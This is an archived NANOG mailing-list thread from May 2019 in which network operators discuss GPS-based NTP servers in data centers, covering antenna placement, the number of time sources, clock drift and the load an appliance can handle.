<1665738194.2237.1556744702880.JavaMail.mhammett@ThunderFuck> Message-ID: On Wed, May 1, 2019, at 18:46, Brandon Martin wrote: > Think about what might happen if you lost time sync as a result of the > incident causing said connectivity outage. Depending on your time > sources available, you might see rapid drift or, worst case, lose your > time reference entirely as a result of equipment restarts, etc. GPS, as > long as you have a good view of the sky, provides extremely accurate > "lights out" time info, both absolute and relative, from a single source > with no (mostly) strings attached for that purpose. Properly deployed NTP should calibrate the local hardware clocks to prevent drift even during connectivity outages. (I'm talking both the low resolution hardware clocks used for timing across power cycles and reboots, and the oscillators used while the OS is running). While most computer hardware is temperature sensitive, if your datacenter is suddenly changing temperature enough to cause clock drift, well, you have bigger problems. :) I admit that this is an anecdote, but in our environment, I find that our GPSDO loses its GPS signal due to weather more often than we lose our connections to internet NTP servers. On the other hand, we once had a site-wide Kerberos authentication outage because all of our Windows clients were using some windows NTP client that by default used two NTP sources owned by the software developer; when they both suddenly stepped by 20 minutes, Kerberos locked everyone out. Time is hard :) -- Harald Koch chk at pobox.com From lists.nanog at monmotha.net Wed May 1 23:17:42 2019 From: lists.nanog at monmotha.net (Brandon Martin) Date: Wed, 1 May 2019 19:17:42 -0400 Subject: NTP question In-Reply-To: References: <20190501135033.C18839@naund.org> <1665738194.2237.1556744702880.JavaMail.mhammett@ThunderFuck> Message-ID: <55bcfe55-8979-c616-bce8-9fb5b20751db@monmotha.net> On 5/1/19 7:03 PM, Harald Koch wrote: > Properly deployed NTP should calibrate the local hardware clocks to prevent drift even during connectivity outages. (I'm talking both the low resolution hardware clocks used for timing across power cycles and reboots, and the oscillators used while the OS is running). While most computer hardware is temperature sensitive, if your datacenter is suddenly changing temperature enough to cause clock drift, well, you have bigger problems.:) For sure, sudden loss of time "shouldn't" happen, but having a local refclock is comparatively cheap insurance against it in many deployments. I've seen things like this when there's a sudden power loss across a small site e.g. a remote PoP. Think a loss of utility power and UPS fails to transfer for some unanticipated reason. Everything will come back up when either the utility power comes back or generator spins up, but it will all be hard reset. Depending on your NTP implementation, the local hardware clock may not be particularly accurate. Even good implementations often lack the necessary hardware capabilities to trim the low-resolution hardware reference and have to resort to simply flushing the time to hardware every so often. Relative inaccuracies of a few seconds are pretty normal in that kind of situation in my experience. Putting everything together from logs where there's an unknown time offset of a few seconds after the fact can be tough. Then again, maybe you don't care in this example case since the cause of the problem is proximate - the frigging UPS didn't do its job. More complex scenarios might be easily envisioned, though. Now, obviously you've still got an issue of the fact that the GPS refclk will take a while to lock and start serving time, but at least you've potentially got known-good time info before you start bringing higher-level network protocols up (and can purposely delay until you do, if desired) which is potentially impossible if your only source of time is the network itself. -- Brandon Martin From stenn at nwtime.org Wed May 1 23:20:56 2019 From: stenn at nwtime.org (Harlan Stenn) Date: Wed, 1 May 2019 16:20:56 -0700 Subject: NTP question In-Reply-To: <55bcfe55-8979-c616-bce8-9fb5b20751db@monmotha.net> References: <20190501135033.C18839@naund.org> <1665738194.2237.1556744702880.JavaMail.mhammett@ThunderFuck> <55bcfe55-8979-c616-bce8-9fb5b20751db@monmotha.net> Message-ID: On 5/1/2019 4:17 PM, Brandon Martin wrote: > On 5/1/19 7:03 PM, Harald Koch wrote: >> Properly deployed NTP should calibrate the local hardware clocks to >> prevent drift even during connectivity outages. (I'm talking both the >> low resolution hardware clocks used for timing across power cycles and >> reboots, and the oscillators used while the OS is running). While most >> computer hardware is temperature sensitive, if your datacenter is >> suddenly changing temperature enough to cause clock drift, well, you >> have bigger problems.:) > > For sure, sudden loss of time "shouldn't" happen, but having a local > refclock is comparatively cheap insurance against it in many deployments. BCP these days is "orphan mode", not "local refclock". > I've seen things like this when there's a sudden power loss across a > small site e.g. a remote PoP.  Think a loss of utility power and UPS > fails to transfer for some unanticipated reason.  Everything will come > back up when either the utility power comes back or generator spins up, > but it will all be hard reset.  Depending on your NTP implementation, > the local hardware clock may not be particularly accurate.  Even good > implementations often lack the necessary hardware capabilities to trim > the low-resolution hardware reference and have to resort to simply > flushing the time to hardware every so often. > > Relative inaccuracies of a few seconds are pretty normal in that kind of > situation in my experience.  Putting everything together from logs where > there's an unknown time offset of a few seconds after the fact can be > tough.  Then again, maybe you don't care in this example case since the > cause of the problem is proximate - the frigging UPS didn't do its job. >  More complex scenarios might be easily envisioned, though. > > Now, obviously you've still got an issue of the fact that the GPS refclk > will take a while to lock and start serving time, but at least you've > potentially got known-good time info before you start bringing > higher-level network protocols up (and can purposely delay until you do, > if desired) which is potentially impossible if your only source of time > is the network itself. Ah, this is the dance with "have enough sources of time"... -- Harlan Stenn, Network Time Foundation http://nwtime.org - be a Member! From mel at beckman.org Wed May 1 23:28:53 2019 From: mel at beckman.org (Mel Beckman) Date: Wed, 1 May 2019 23:28:53 +0000 Subject: NTP Question In-Reply-To: <8F92D58B-FEF6-4740-994A-633A47B79538@consultant.com> References: <8F92D58B-FEF6-4740-994A-633A47B79538@consultant.com> Message-ID: <7A7E7216-5288-416C-ABF8-660DC65CADBC@beckman.org> Harlan and Mehmet, I can expand on one important reason that James only alluded to with his “Kepping the Auditors happy” comment. Passing NTP through a firewall and then using that as a critical time reference source represents a huge security risk. Here’s one detailed explanation of that risk: https://insights.sei.cmu.edu/sei_blog/2017/04/best-practices-for-ntp-services.html -mel On May 1, 2019, at 3:48 PM, James R Cutler > wrote: On Wed, May 01, 2019 at 02:35:58PM -0700, Harlan Stenn wrote: - Why do folks want to have one or more NTP server masters that have at least 1 refclock on them in a data center, instead of having their data center NTP server masters that only get time over the internet? Answers to that include: * Keeping the Auditors happy * Knowing that “everyone does it” - the vendor told them so * Bragging rights (expensive hardware) * Being unbothered by fighting with facilities for building penetrations and antenna mounts * Misunderstanding the beauty and economy Dave Mills marvelous algorithms for consistent time based on multiple sources, even those connected via internet * Unwillingness or inability to leverage other local resources capacity to run ntpd with minimal impact in order to have a good constellation of local NTP servers * Willingness to farm out time service without doing a deep dive into why and how, just leaving the design to the appliance vendors This covers most of what I have encountered in providing enterprise time services for $dayjob+clients. I probably left out some significant points, but it has been a few years... -------------- next part -------------- An HTML attachment was scrubbed... URL: From ask at develooper.com Wed May 1 23:43:20 2019 From: ask at develooper.com (=?utf-8?Q?Ask_Bj=C3=B8rn_Hansen?=) Date: Wed, 1 May 2019 16:43:20 -0700 Subject: NTP question In-Reply-To: References: Message-ID: <552BC4BD-1503-4D3B-8734-4E13A2BCF62F@develooper.com> > On May 1, 2019, at 12:22, Mehmet Akcin wrote: > > I am trying to buy a GPS based NTP server like this one > > https://timemachinescorp.com/product/gps-time-server-tm1000a/ > > but I will be placing this inside a data center, do these need an actual view of a sky to be able to get signal or will they work fine inside a data center building? if you have any other hardware requirements to be able to provide stable time service for hundreds of customers, please let me know. [ with my hobby-hat on … ] tl;dr: if any of the below is too much work, just run reasonably well monitored NTP server syncing from other NTP servers. If you want more than that, you need to see the sky. Don’t do the CDMA thing. Depending on your requirements having the antenna in the window may or may not be satisfactory. If it’s fine you probably could just have done a regular NTP server in the first place. For long swaths of the day you might not see too many satellites which will add to the uncertainty of the signal. Meinberg’s GPS antenna has a bit more smarts which helps it work on up to 300 meters on RG58 or 700 meters on RG213. (They also have products that use regular L1 antennas with the limitations Bryan mentioned). https://www.meinbergglobal.com/english/products/gps-antenna-converter.htm They also have a multi-mode fiber box to have the antenna be up to 2km from the box or 20km with their single mode fiber box, if you have fiber to somewhere else where you can see the sky and place an antenna. It will be more than the one you linked to, but their systems are very reasonably priced, too. For “hundreds of customers” whatever is the smallest/cheapest box they have will work fine. Even their smallest models have decent oscillators (for keeping the ticks accurate between GPS signals). The Meinberg time server products (I am guessing all of them, but I’m not sure) also have a mode where they poll an upstream NTP server aggressively and then steer the oscillator after it. I haven’t used it in production, but it worked a lot better than it sounded like it would. (In other words, even without GPS it’s a better time server than most systems). Ask From mel at beckman.org Wed May 1 23:53:48 2019 From: mel at beckman.org (Mel Beckman) Date: Wed, 1 May 2019 23:53:48 +0000 Subject: NTP question In-Reply-To: <552BC4BD-1503-4D3B-8734-4E13A2BCF62F@develooper.com> References: , <552BC4BD-1503-4D3B-8734-4E13A2BCF62F@develooper.com> Message-ID: Ask, But with a small compact server like the DC-powered TimeMachines Inc unit, which costs something like $300, you simply put the server where the visibility is and connect back to the nearest Ethernet port in your network, up to 300’ away, or virtually any distance with fiber transceivers. We’ve installed these in Cantex boxes on a windy, rainy tenth-story rooftop in upstate NY and it runs flawlessly, warmed by its own internal heat at sub-zero temps, and perfectly happy at ambient temps of 110F. It’s hard to consider messing with signal converters and pricey remotely-powered active antennas when you can solve the problem for $300. :) -mel > On May 1, 2019, at 4:44 PM, Ask Bjørn Hansen wrote: > > > >> On May 1, 2019, at 12:22, Mehmet Akcin wrote: >> >> I am trying to buy a GPS based NTP server like this one >> >> https://timemachinescorp.com/product/gps-time-server-tm1000a/ >> >> but I will be placing this inside a data center, do these need an actual view of a sky to be able to get signal or will they work fine inside a data center building? if you have any other hardware requirements to be able to provide stable time service for hundreds of customers, please let me know. > > [ with my hobby-hat on … ] > > tl;dr: if any of the below is too much work, just run reasonably well monitored NTP server syncing from other NTP servers. If you want more than that, you need to see the sky. Don’t do the CDMA thing. > > Depending on your requirements having the antenna in the window may or may not be satisfactory. If it’s fine you probably could just have done a regular NTP server in the first place. For long swaths of the day you might not see too many satellites which will add to the uncertainty of the signal. > > Meinberg’s GPS antenna has a bit more smarts which helps it work on up to 300 meters on RG58 or 700 meters on RG213. (They also have products that use regular L1 antennas with the limitations Bryan mentioned). > > https://www.meinbergglobal.com/english/products/gps-antenna-converter.htm > > They also have a multi-mode fiber box to have the antenna be up to 2km from the box or 20km with their single mode fiber box, if you have fiber to somewhere else where you can see the sky and place an antenna. > > It will be more than the one you linked to, but their systems are very reasonably priced, too. For “hundreds of customers” whatever is the smallest/cheapest box they have will work fine. Even their smallest models have decent oscillators (for keeping the ticks accurate between GPS signals). > > The Meinberg time server products (I am guessing all of them, but I’m not sure) also have a mode where they poll an upstream NTP server aggressively and then steer the oscillator after it. I haven’t used it in production, but it worked a lot better than it sounded like it would. (In other words, even without GPS it’s a better time server than most systems). > > > Ask From ask at develooper.com Thu May 2 00:00:32 2019 From: ask at develooper.com (=?utf-8?Q?Ask_Bj=C3=B8rn_Hansen?=) Date: Wed, 1 May 2019 17:00:32 -0700 Subject: NTP question In-Reply-To: References: <552BC4BD-1503-4D3B-8734-4E13A2BCF62F@develooper.com> Message-ID: <7253ACFA-D29C-4511-B696-79B931EF74BA@develooper.com> > On May 1, 2019, at 16:53, Mel Beckman wrote: > > It’s hard to consider messing with signal converters and pricey remotely-powered active antennas when you can solve the problem for $300. :) As I said, it really depends on your requirements and expectations. :-) For my “normal” use cases there hasn’t been room for a lot of stuff between “well run NTP server with networked time source” and “server with fancy clocks and frequency input”. Though, on the topic of unusual requirements there are a bunch of contributors to the NTP Pool using this curious device that can do line rate NTP responses (100Mbps, but still): https://store.uputronics.com/index.php?route=product/product&product_id=92 Ask From nanog at ics-il.net Thu May 2 00:12:55 2019 From: nanog at ics-il.net (Mike Hammett) Date: Wed, 1 May 2019 19:12:55 -0500 (CDT) Subject: NTP question In-Reply-To: References: Message-ID: <423800283.2316.1556755973558.JavaMail.mhammett@ThunderFuck> Anyone know of a solution that doesn't require an external antenna, is NEBS compliant, and has T1-type outputs for me to hook into my Metaswitch gear? ----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com ----- Original Message ----- From: "Alejandro Acosta" To: nanog at nanog.org Sent: Wednesday, May 1, 2019 5:41:36 PM Subject: Re: NTP question Hello, As other have commented before, it looks you need an outdoor antenna, however, reading the specs it says: "The built in high sensitivity GPS receiver is able to lock multiple satellites from within multiple buildings or from a window location , eliminating the requirement that an outdoor antenna be installed ." Weird. Alejandro, El 1/5/19 a las 15:22, Mehmet Akcin escribió: hey there Nanog, I am trying to buy a GPS based NTP server like this one https://timemachinescorp.com/product/gps-time-server-tm1000a/ but I will be placing this inside a data center, do these need an actual view of a sky to be able to get signal or will they work fine inside a data center building? if you have any other hardware requirements to be able to provide stable time service for hundreds of customers, please let me know. mehmet -------------- next part -------------- An HTML attachment was scrubbed... URL: From bruns at 2mbit.com Thu May 2 00:34:05 2019 From: bruns at 2mbit.com (Brielle Bruns) Date: Wed, 1 May 2019 18:34:05 -0600 Subject: NTP question In-Reply-To: <423800283.2316.1556755973558.JavaMail.mhammett@ThunderFuck> References: <423800283.2316.1556755973558.JavaMail.mhammett@ThunderFuck> Message-ID: <668ec0c6-23b6-e57e-e6d3-b49d945deb3c@2mbit.com> On 5/1/2019 6:12 PM, Mike Hammett wrote: > Anyone know of a solution that doesn't require an external antenna, is > NEBS compliant, and has T1-type outputs for me to hook into my > Metaswitch gear? > You forgot 'world peace' in there too. :) -- Brielle Bruns The Summit Open Source Development Group http://www.sosdg.org / http://www.ahbl.org From bill at herrin.us Thu May 2 00:39:09 2019 From: bill at herrin.us (William Herrin) Date: Wed, 1 May 2019 17:39:09 -0700 Subject: NTP question In-Reply-To: References: Message-ID: On Wed, May 1, 2019 at 12:23 PM Mehmet Akcin wrote: > I am trying to buy a GPS based NTP server like this one > > https://timemachinescorp.com/product/gps-time-server-tm1000a/ > > but I will be placing this inside a data center, do these need an actual > view of a sky to be able to get signal or will they work fine inside a data > center building? if you have any other hardware requirements to be able to > provide stable time service for hundreds of customers, please let me know. > You buy a powered GPS antenna for it. Which antenna depends on the cable length and type. The amplifier in the antenna amplifies the signal just enough to overcome the cable loss between the antenna and the receiver. Nice thick cables lose less signal. Dinky thin ones are easier to work with. You sure you need a GPS NTP server? You understand that if you do, you need two for reliability right, and probably at geographically diverse locations? If you're not on an air-gapped network, consider syncing a couple head-end NTP servers against tick and tock (.usno.navy.mil, the naval observatory) and not worrying about it. One less piece of equipment to manage, update, secure, etc. Regards, Bill Herrin -- William Herrin ................ herrin at dirtside.com bill at herrin.us Dirtside Systems ......... Web: -------------- next part -------------- An HTML attachment was scrubbed... URL: From cma at cmadams.net Thu May 2 00:42:20 2019 From: cma at cmadams.net (Chris Adams) Date: Wed, 1 May 2019 19:42:20 -0500 Subject: NTP question In-Reply-To: References: Message-ID: <20190502004220.GA25074@cmadams.net> Once upon a time, William Herrin said: > You sure you need a GPS NTP server? You understand that if you do, you need > two for reliability right That'd be 3 - a man with 2 clocks never know what time it is! :) -- Chris Adams From kmedcalf at dessus.com Thu May 2 00:48:15 2019 From: kmedcalf at dessus.com (Keith Medcalf) Date: Wed, 01 May 2019 18:48:15 -0600 Subject: NTP question In-Reply-To: Message-ID: <61db3c2f7a8ff84e9e826d3d57aaadd7@mail.dessus.com> On Wednesday, 1 May, 2019 15:36, Harlan Stenn wrote: >So I gotta ask, just as a reality check: >- Why do folks want to have one or more NTP server masters that have >at least 1 refclock on them in a data center, instead of having their >data center NTP server masters that only get time over the internet? That entirely depends on what you need the time for. For example, in a Continuous Control environment you really do not care about the accuracy of the time -- just like a printer will not suddenly fail to print documents with dates in them because of Y2K, the printer neither cares nor knows what time it is. What you may care about, however, is that all your Distributed Control and Outboard Systems have the SAME TIME and that that time, relative to each other, is closely synchronized. This has a huge impact when comparing log events from one system to another. What is important is that they all have the same time, and that they all drift together. If you have one such installation, then you really do not care about the "accuracy" of the time. However if you have multiple such installations then you want them all to have the same time (if you will be comparing logs between them, for example). At some point it becomes "cheaper" to spend thousands of dollars per site to have a single Stratum 0 timesource (for example, the GPS system) at each site (and thus comparable time stamps) than it is to pay someone to go though the rigamarole of computing offsets and slew rates between sites to be able to do accurate comparison. And if you communicate any of that info to outsiders then being able to say "my log timestamps are accurate to +/- 10 nanoseconds so it must be you who is farked up" (and be able to prove it) has immense value. --- The fact that there's a Highway to Hell but only a Stairway to Heaven says a lot about anticipated traffic volume. From bill at herrin.us Thu May 2 00:55:30 2019 From: bill at herrin.us (William Herrin) Date: Wed, 1 May 2019 17:55:30 -0700 Subject: NTP question In-Reply-To: <61db3c2f7a8ff84e9e826d3d57aaadd7@mail.dessus.com> References: <61db3c2f7a8ff84e9e826d3d57aaadd7@mail.dessus.com> Message-ID: On Wed, May 1, 2019 at 5:48 PM Keith Medcalf wrote: > If you have one such installation, then you really do not care about the > "accuracy" of the time. However if you have multiple such installations > then you want them all to have the same time (if you will be comparing logs > between them, for example). At some point it becomes "cheaper" to spend > thousands of dollars per site to have a single Stratum 0 timesource (for > example, the GPS system) at each site (and thus comparable time stamps) > than it is to pay someone to go though the rigamarole of computing offsets > and slew rates between sites to be able to do accurate comparison. And if > you communicate any of that info to outsiders then being able to say "my > log timestamps are accurate to +/- 10 nanoseconds so it must be you who is > farked up" (and be able to prove it) has immense value. > If your network is air gapped from the Internet then sure. If it's not, you can run NTP against a reasonably reliable set of time sources (not random picks from Pool) and be able to say, "my log timestamps are accurate to +/- 10 milliseconds so it must be you who is farked up." While my milliseconds loses the pecking order contest, it's just as good for practical purposes and a whole lot less expensive. If your system is Internet-connected. If you run an air gapped network then yeah, get your time out of band. Regards, Bill Herrin -- William Herrin ................ herrin at dirtside.com bill at herrin.us Dirtside Systems ......... Web: -------------- next part -------------- An HTML attachment was scrubbed... URL: From rubensk at gmail.com Thu May 2 01:04:27 2019 From: rubensk at gmail.com (Rubens Kuhl) Date: Wed, 1 May 2019 22:04:27 -0300 Subject: NTP question In-Reply-To: References: <61db3c2f7a8ff84e9e826d3d57aaadd7@mail.dessus.com> Message-ID: On Wed, May 1, 2019 at 9:56 PM William Herrin wrote: > On Wed, May 1, 2019 at 5:48 PM Keith Medcalf wrote: > >> If you have one such installation, then you really do not care about the >> "accuracy" of the time. However if you have multiple such installations >> then you want them all to have the same time (if you will be comparing logs >> between them, for example). At some point it becomes "cheaper" to spend >> thousands of dollars per site to have a single Stratum 0 timesource (for >> example, the GPS system) at each site (and thus comparable time stamps) >> than it is to pay someone to go though the rigamarole of computing offsets >> and slew rates between sites to be able to do accurate comparison. And if >> you communicate any of that info to outsiders then being able to say "my >> log timestamps are accurate to +/- 10 nanoseconds so it must be you who is >> farked up" (and be able to prove it) has immense value. >> > > If your network is air gapped from the Internet then sure. If it's not, > you can run NTP against a reasonably reliable set of time sources (not > random picks from Pool) and be able to say, "my log timestamps are accurate > to +/- 10 milliseconds so it must be you who is farked up." While my > milliseconds loses the pecking order contest, it's just as good for > practical purposes and a whole lot less expensive. > > And while time source stability is a good criteria, the most important NTP criteria is path latency symmetry between directions. It's better to have a path that is 100 ms of 1-way latency both ways than a path that is 1 ms one way, 100 ms the other way. Rubens -------------- next part -------------- An HTML attachment was scrubbed... URL: From kmedcalf at dessus.com Thu May 2 01:17:15 2019 From: kmedcalf at dessus.com (Keith Medcalf) Date: Wed, 01 May 2019 19:17:15 -0600 Subject: NTP question In-Reply-To: Message-ID: >If your network is air gapped from the Internet then sure. If it's >not, you can run NTP against a reasonably reliable set of time >sources (not random picks from Pool) and be able to say, "my log >timestamps are accurate to +/- 10 milliseconds so it must be you who >is farked up." While my milliseconds loses the pecking order contest, >it's just as good for practical purposes and a whole lot less >expensive. You mean something like this, which is relatively easy to achieve: ============================================================================== offset -0.000009, frequency -0.823, time_const 30, watchdog 238 synchronised to NTP server (192.5.41.40) at stratum 2 time correct to within 12 ms polling server every 1024 s ============================================================================== remote refid st t when poll reach delay offset jitter ============================================================================== +clock.sjc.he.ne .CDMA. 1 u 287 1024 377 64.313 0.337 0.867 -tock.usnogps.na .IRIG. 1 u 5 1024 377 103.080 -2.097 0.316 -tick.usnogps.na .IRIG. 1 u 806 1024 377 103.053 -2.328 0.363 +india.colorado. .NIST. 1 u 270 1024 377 41.214 -0.159 0.113 +time-b-b.nist.g .NIST. 1 u 984 1024 377 42.609 0.200 0.045 +time-c-b.nist.g .NIST. 1 u 180 1024 377 42.563 0.201 0.064 +time-a-b.nist.g .NIST. 1 u 163 1024 377 42.639 0.137 0.032 *192.5.41.40 .PTP. 1 u 235 1024 377 12.756 -0.388 12.479 -192.5.41.41 .IRIG. 1 u 312 1024 377 13.575 -1.172 2.425 LOCAL(0) .LOCL. 10 l - 64 0 0.000 0.000 0.000 ------------------------------------------------------------------------------ pll offset: -8.474e-06 s pll frequency: -0.823 ppm maximum error: 0.123149 s estimated error: 0.000122 s status: 2001 pll nano pll time constant: 10 precision: 1e-09 s frequency tolerance: 500 ppm ============================================================================== --- The fact that there's a Highway to Hell but only a Stairway to Heaven says a lot about anticipated traffic volume. From list at satchell.net Thu May 2 01:21:04 2019 From: list at satchell.net (Stephen Satchell) Date: Wed, 1 May 2019 18:21:04 -0700 Subject: NTP question In-Reply-To: References: <61db3c2f7a8ff84e9e826d3d57aaadd7@mail.dessus.com> Message-ID: One word of caution when using a low-priced NTP appliance: your network activity could overwhelm the TCP/IP stack of the poor thing, especially if you want to sync your entire shop to it. In the case of the networks I set up, I set up a VLAN specific to the NTP appliance and to the two servers that sync up with it. Everything else in the network is configured to talk to the two servers, but NOT on the three-device "NTP Appliance VLAN". NOTE: Don't depend on the appliance to provide VLAN capability; use a configuration in a connected switch. How you wire from the appliance to a port on your network leaves you with a lot of options to reach a window with good satellite visibility, as CAT 5 at 10 megabits/s can extend a long way successfully. Watch your cable dress, particularly splices and runs against metal. (Or through rooms with MRI machines -- I'm not joking.) The two servers in question also sync up with NTP servers in the cloud using whatever baseband or VLANs (other than the "NTP VLAN") you configure. Ditto clients using the two servers as time sources. The goal here is to minimize the amount of traffic in the "NTP Appliance VLAN". What killed one installation I did was the huge amount of ARP traffic that the appliance had to discard; it wasn't up to the deluge. Learn from my mistakes. From mel at beckman.org Thu May 2 01:29:57 2019 From: mel at beckman.org (Mel Beckman) Date: Thu, 2 May 2019 01:29:57 +0000 Subject: NTP question In-Reply-To: References: <61db3c2f7a8ff84e9e826d3d57aaadd7@mail.dessus.com> , Message-ID: <635F7459-216C-4A7E-84DF-FB802512829E@beckman.org> Stephen, LOL. That’s not a real problem with today’s microprocessors. The TM1000A, for example: “...is capable of serving 135+ synchronizations per second. That provides support for over 120,000+ devices updating every 15 minutes on the network.” As for ARP traffic deluges, if that’s happening on your LAN, you have bigger problems :) -mel > On May 1, 2019, at 6:21 PM, Stephen Satchell wrote: > > One word of caution when using a low-priced NTP appliance: your network > activity could overwhelm the TCP/IP stack of the poor thing, especially > if you want to sync your entire shop to it. In the case of the networks > I set up, I set up a VLAN specific to the NTP appliance and to the two > servers that sync up with it. Everything else in the network is > configured to talk to the two servers, but NOT on the three-device "NTP > Appliance VLAN". > > NOTE: Don't depend on the appliance to provide VLAN capability; use a > configuration in a connected switch. How you wire from the appliance to > a port on your network leaves you with a lot of options to reach a > window with good satellite visibility, as CAT 5 at 10 megabits/s can > extend a long way successfully. Watch your cable dress, particularly > splices and runs against metal. (Or through rooms with MRI machines -- > I'm not joking.) > > The two servers in question also sync up with NTP servers in the cloud > using whatever baseband or VLANs (other than the "NTP VLAN") you > configure. Ditto clients using the two servers as time sources. > > The goal here is to minimize the amount of traffic in the "NTP Appliance > VLAN". What killed one installation I did was the huge amount of ARP > traffic that the appliance had to discard; it wasn't up to the deluge. > > Learn from my mistakes. > From chk at pobox.com Thu May 2 01:41:02 2019 From: chk at pobox.com (Harald Koch) Date: Wed, 01 May 2019 21:41:02 -0400 Subject: NTP question In-Reply-To: <55bcfe55-8979-c616-bce8-9fb5b20751db@monmotha.net> References: <20190501135033.C18839@naund.org> <1665738194.2237.1556744702880.JavaMail.mhammett@ThunderFuck> <55bcfe55-8979-c616-bce8-9fb5b20751db@monmotha.net> Message-ID: On Wed, May 1, 2019, at 19:19, Brandon Martin wrote: > I've seen things like this when there's a sudden power loss across a > small site e.g. a remote PoP. Think a loss of utility power and UPS > fails to transfer for some unanticipated reason. Or in our case, a Canada Goose lands on the transfer switch, shorting it out and disconnecting street, UPS, and generator. TBH I wasn't monitoring NTP at the time, being slightly more concerned with critical applications, so I concede your point :) -- Harald Koch chk at pobox.com From stenn at nwtime.org Thu May 2 01:45:35 2019 From: stenn at nwtime.org (Harlan Stenn) Date: Wed, 1 May 2019 18:45:35 -0700 Subject: NTP question In-Reply-To: References: Message-ID: <618e1a7c-d300-f3b9-f4b5-edabce7b0d84@nwtime.org> On 5/1/19 5:39 PM, William Herrin wrote: > On Wed, May 1, 2019 at 12:23 PM Mehmet Akcin wrote: > >> I am trying to buy a GPS based NTP server like this one >> >> https://timemachinescorp.com/product/gps-time-server-tm1000a/ >> >> but I will be placing this inside a data center, do these need an actual >> view of a sky to be able to get signal or will they work fine inside a data >> center building? if you have any other hardware requirements to be able to >> provide stable time service for hundreds of customers, please let me know. >> > > You buy a powered GPS antenna for it. Which antenna depends on the cable > length and type. The amplifier in the antenna amplifies the signal just > enough to overcome the cable loss between the antenna and the receiver. > Nice thick cables lose less signal. Dinky thin ones are easier to work with. > > You sure you need a GPS NTP server? You understand that if you do, you need > two for reliability right, and probably at geographically diverse > locations? If you're not on an air-gapped network, consider syncing a > couple head-end NTP servers against tick and tock (.usno.navy.mil, the > naval observatory) and not worrying about it. One less piece of equipment > to manage, update, secure, etc. Two is not a great number. If they disagree, there is no majority clique to be found. Also, there is something to be said for using different models/vendors for the time sources. If you only have the same model from one vendor and there is a bug, you can lose all your time sources at once. The GPS week rollover happens every ~19.7 years, and when that problem hits is a function of the firmware and a manufacturing date put in the firmware. These problems can be mitigated if you have "enough" time sources for your internal NTP servers and you peer with enough other, possibly your, servers. > Regards, > Bill Herrin -- Harlan Stenn http://networktimefoundation.org - be a member! From stenn at nwtime.org Thu May 2 01:47:07 2019 From: stenn at nwtime.org (Harlan Stenn) Date: Wed, 1 May 2019 18:47:07 -0700 Subject: NTP question In-Reply-To: References: <552BC4BD-1503-4D3B-8734-4E13A2BCF62F@develooper.com> Message-ID: <95a5410f-8422-4814-e81f-6a02a1af6f2d@nwtime.org> On 5/1/19 4:53 PM, Mel Beckman wrote: > Ask, > > But with a small compact server like the DC-powered TimeMachines Inc unit, which costs something like $300, you simply put the server where the visibility is and connect back to the nearest Ethernet port in your network, up to 300’ away, or virtually any distance with fiber transceivers. We’ve installed these in Cantex boxes on a windy, rainy tenth-story rooftop in upstate NY and it runs flawlessly, warmed by its own internal heat at sub-zero temps, and perfectly happy at ambient temps of 110F. > > It’s hard to consider messing with signal converters and pricey remotely-powered active antennas when you can solve the problem for $300. :) I sure hope you have ntpd set up to peer or get time with enough other servers. H -- > -mel > >> On May 1, 2019, at 4:44 PM, Ask Bjørn Hansen wrote: >> >> >> >>> On May 1, 2019, at 12:22, Mehmet Akcin wrote: >>> >>> I am trying to buy a GPS based NTP server like this one >>> >>> https://timemachinescorp.com/product/gps-time-server-tm1000a/ >>> >>> but I will be placing this inside a data center, do these need an actual view of a sky to be able to get signal or will they work fine inside a data center building? if you have any other hardware requirements to be able to provide stable time service for hundreds of customers, please let me know. >> >> [ with my hobby-hat on … ] >> >> tl;dr: if any of the below is too much work, just run reasonably well monitored NTP server syncing from other NTP servers. If you want more than that, you need to see the sky. Don’t do the CDMA thing. >> >> Depending on your requirements having the antenna in the window may or may not be satisfactory. If it’s fine you probably could just have done a regular NTP server in the first place. For long swaths of the day you might not see too many satellites which will add to the uncertainty of the signal. >> >> Meinberg’s GPS antenna has a bit more smarts which helps it work on up to 300 meters on RG58 or 700 meters on RG213. (They also have products that use regular L1 antennas with the limitations Bryan mentioned). >> >> https://www.meinbergglobal.com/english/products/gps-antenna-converter.htm >> >> They also have a multi-mode fiber box to have the antenna be up to 2km from the box or 20km with their single mode fiber box, if you have fiber to somewhere else where you can see the sky and place an antenna. >> >> It will be more than the one you linked to, but their systems are very reasonably priced, too. For “hundreds of customers” whatever is the smallest/cheapest box they have will work fine. Even their smallest models have decent oscillators (for keeping the ticks accurate between GPS signals). >> >> The Meinberg time server products (I am guessing all of them, but I’m not sure) also have a mode where they poll an upstream NTP server aggressively and then steer the oscillator after it. I haven’t used it in production, but it worked a lot better than it sounded like it would. (In other words, even without GPS it’s a better time server than most systems). >> >> >> Ask -- Harlan Stenn http://networktimefoundation.org - be a member! From stenn at nwtime.org Thu May 2 01:54:29 2019 From: stenn at nwtime.org (Harlan Stenn) Date: Wed, 1 May 2019 18:54:29 -0700 Subject: NTP Question In-Reply-To: <7A7E7216-5288-416C-ABF8-660DC65CADBC@beckman.org> References: <8F92D58B-FEF6-4740-994A-633A47B79538@consultant.com> <7A7E7216-5288-416C-ABF8-660DC65CADBC@beckman.org> Message-ID: <16479a46-9164-1e82-49eb-161ecfecdea0@nwtime.org> On 5/1/19 4:28 PM, Mel Beckman wrote: > Harlan and Mehmet, > > I can expand on one important reason that James only alluded to with his “Kepping the Auditors happy” comment. > > Passing NTP through a firewall and then using that as a critical time reference source represents a huge security risk. Here’s one detailed explanation of that risk: > > https://insights.sei.cmu.edu/sei_blog/2017/04/best-practices-for-ntp-services.html I have some significant disagreements with some of the assumptions and positions in that posting, for whatever that's worth. And there are some good points in there, too. H -- > -mel > > On May 1, 2019, at 3:48 PM, James R Cutler > wrote: > > On Wed, May 01, 2019 at 02:35:58PM -0700, Harlan Stenn wrote: > - Why do folks want to have one or more NTP server masters that have at > least 1 refclock on them in a data center, instead of having their data > center NTP server masters that only get time over the internet? > > Answers to that include: > > * Keeping the Auditors happy > * Knowing that “everyone does it” - the vendor told them so > * Bragging rights (expensive hardware) > * Being unbothered by fighting with facilities for building penetrations and antenna mounts > * Misunderstanding the beauty and economy Dave Mills marvelous algorithms for consistent time based on multiple sources, even those connected via internet > * Unwillingness or inability to leverage other local resources capacity to run ntpd with minimal impact in order to have a good constellation of local NTP servers > * Willingness to farm out time service without doing a deep dive into why and how, just leaving the design to the appliance vendors > > This covers most of what I have encountered in providing enterprise time services for $dayjob+clients. I probably left out some significant points, but it has been a few years... > > > > -- Harlan Stenn http://networktimefoundation.org - be a member! From james.cutler at consultant.com Thu May 2 01:55:51 